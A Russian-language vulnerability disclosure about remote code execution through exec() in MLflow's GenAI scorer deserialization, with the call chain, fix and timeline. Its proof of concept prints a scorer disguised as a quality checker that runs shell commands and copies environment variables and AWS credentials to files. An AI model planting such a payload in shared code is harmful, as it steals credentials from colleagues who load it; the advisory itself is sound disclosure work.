Автор: Evan Harris
Риск: Высокий
Затронутый компонент: GenAI-скореры MLflow (mlflow/mlflow)

Коротко

Механизм десериализации GenAI-скореров в MLflow содержал уязвимость удалённого выполнения кода. Утилита recreate_function() в scorer_utils.py передавала контролируемые злоумышленником данные скорера (хранящиеся в базе данных отслеживания MLflow) напрямую в exec() языка Python. Вредоносный скорер, зарегистрированный одним пользователем, выполняет произвольный код на машине любого, кто впоследствии извлекает и запускает его, что делает возможной атаку на цепочку поставок в масштабах целой ML-команды. Мы сообщили о проблеме сопровождающим MLflow, которые устранили её, ограничив регистрацию и загрузку пользовательских скореров средами, контролируемыми Databricks. Пользователям следует обновиться до MLflow 3.5.2 или новее.

Предыстория

Модуль GenAI в MLflow позволяет командам определять скореры, то есть функции Python, которые оценивают качество выводов LLM (проверки длины, безопасность контента, форматирование и так далее). Скореры можно писать с помощью декоратора @scorer, регистрировать применительно к эксперименту и впоследствии извлекать по имени с помощью get_scorer(), чтобы коллеги могли повторно использовать общую оценку.

Чтобы это работало, MLflow сериализует лежащую в основе скорера функцию и сохраняет её в базе данных отслеживания. При извлечении скорера MLflow реконструирует функцию из этих сохранённых данных. Именно на этапе реконструкции и находилась уязвимость: сериализованный исходный код восстанавливался вызовом exec() языка Python, который выполняет любой переданный ему код. Поскольку сохранённые данные полностью контролируются злоумышленником, любой, кто мог зарегистрировать скорер, мог заложить код, который выполнится внутри процесса другого пользователя.

Обзор

Уязвимость срабатывает вдоль единой цепочки вызовов десериализации, которая заканчивается в exec():

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module] B --> C[Victim imports and registers
the scorer with MLflow] C --> D[Serialized function stored in
tracking database] D --> E["get_scorer(name, experiment_id)
registry.py:571"] E --> F["Scorer.model_validate()
base.py:222"] F --> G["_reconstruct_decorator_scorer()
base.py:298"] G --> H["recreate_function()
scorer_utils.py:131"] H --> I["exec(attacker_source)"] I --> J[Remote Code Execution
in victim process] style A fill:#ffebee style B fill:#ffebee style C fill:#fff3e0 style D fill:#fff9c4 style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#fff9c4 style H fill:#ffcdd2 style I fill:#ffcdd2 style J fill:#ffcdd2

Цепочка вызовов такова:

mlflow.genai.scorers.get_scorer()
  → Scorer.model_validate()        # registry.py:571
  → _reconstruct_decorator_scorer() # base.py:222
  → recreate_function()             # base.py:298
  → exec()                          # scorer_utils.py:131  ← REMOTE CODE EXECUTION

Сценарий атаки

  1. Злоумышленник пишет скорер, который выглядит легитимным (“проверщик качества” с правдоподобной строкой документации), но скрывает вредоносную полезную нагрузку в теле функции.
  2. Злоумышленник распространяет скорер через канал, которому доверяет жертва: пакет PyPI, командный репозиторий GitHub или общий модуль Python.
  3. Жертва импортирует скорер и регистрирует его в MLflow. Сериализованная функция записывается в базу данных отслеживания.
  4. Позже, возможно на другой машине, другим участником команды, спустя дни или недели, кто-то извлекает скорер с помощью get_scorer() и использует его.
  5. Во время десериализации recreate_function() вызывает exec() для сохранённого исходного кода. Скрытая полезная нагрузка выполняется с полными привилегиями процесса жертвы.

Поскольку срабатывание отделено во времени и по пользователям от регистрации, атака протекает бесшумно: единственный вредоносный скорер, зарегистрированный один раз, может скомпрометировать всех в команде, кто впоследствии его загрузит.

Демонстрация концепции

Приведённый ниже вредоносный скорер выдаёт себя за проверщик качества вывода. В его теле содержится полезная нагрузка, которая размещает файл-маркер, экфильтрует переменные окружения и собирает учётные данные AWS, прежде чем вернуть правдоподобный результат, чтобы не вызывать подозрений:

from mlflow.genai.scorers import scorer

@scorer
def quality_checker(outputs):
    """
    Quality checker for LLM outputs.

    Validates that outputs meet quality standards:
    - Minimum length requirements
    - No offensive content
    - Proper formatting

    Returns:
        bool: True if output passes quality checks
    """
    # MALICIOUS PAYLOAD HIDDEN BELOW
    import os

    # Create proof file
    os.system('touch /tmp/rce_supply_chain.txt')
    os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')

    # Exfiltrate environment variables
    env_data = dict(os.environ)
    with open('/tmp/exfiltrated_env.txt', 'w') as f:
        f.write("EXFILTRATED ENVIRONMENT:\n")
        for key, value in list(env_data.items())[:10]:
            f.write(f'{key}={value}\n')

    # Harvest AWS credentials
    aws_creds_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, 'r') as f_in:
            with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
                f_out.write(f_in.read())

    # Return a valid result to avoid suspicion
    return len(outputs) > 10

Жертва извлекает общий скорер так, как обычно:

import mlflow
from mlflow.genai.scorers import get_scorer

# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")

scorer = get_scorer(name="quality_checker_v1", experiment_id="1")

А затем использует его:

result = scorer(outputs="This is test output to evaluate")

В этот момент срабатывает RCE, и полезная нагрузка выполняется в процессе жертвы.

Последствия

В зависимости от полезной нагрузки, заложенной в недоверенных данных скорера, злоумышленник может:

  • Выполнять произвольный код Python с полными привилегиями процесса жертвы
  • Экфильтровать конфиденциальные данные, такие как учётные данные, переменные окружения и исходный код
  • Собирать учётные данные из типичных мест хранения (AWS, Docker, SSH)
  • Закрепляться на машине жертвы
  • Выполнять горизонтальное перемещение и сетевую разведку

Последствия усиливаются характером изъяна, связанным с цепочкой поставок: единственный вредоносный скорер, зарегистрированный одним участником команды, может скомпрометировать каждого пользователя, который впоследствии его извлечёт, причём срабатывание происходит бесшумно спустя долгое время после регистрации.

Реакция MLflow

После того как мы раскрыли проблему через процесс координированного раскрытия MLflow, сопровождающие устранили её в pull request #18493.

Вместо попыток изолировать (поместить в песочницу) или проверять десериализованный исходный код сопровождающие удалили опасную возможность за пределами контролируемых сред: регистрация и загрузка пользовательских скореров, основанных на коде, теперь ограничена средами отслеживания Databricks, где множество пользователей, способных загружать скореры, контролируется. Пользователей других бэкендов отслеживания направляют к более безопасным альтернативам, таким как встроенные скореры и скореры на основе make_judge(), которые не требуют выполнения произвольного кода во время десериализации.

Исправление вышло в MLflow 3.5.2.

Рекомендации

Для конечных пользователей

  • Обновитесь до MLflow 3.5.2 или новее.
  • Регистрируйте и извлекайте пользовательские скореры только из источников, которым вы полностью доверяете.
  • Относитесь к данным скорера в базе данных отслеживания как к недоверенному коду, а не как к инертным данным. Любой, кто может писать в хранилище отслеживания, может выполнить код у каждого потребителя.
  • Отдавайте предпочтение встроенным скорерам или скорерам make_judge(), которые не выполняют произвольный код во время десериализации.
  • Ограничьте доступ на запись к общим базам данных отслеживания и проверяйте скореры перед повторным использованием в команде.

Хронология

Дата Событие
20 октября 2025 Об уязвимости сообщено сопровождающим MLflow через координированное раскрытие (issue #18404)
24 октября 2025 MLflow объединяет исправление (PR #18493), выпущенное в v3.5.2
8 января 2026 huntr пометила проблему как дубликат
8 июня 2026 Публичное раскрытие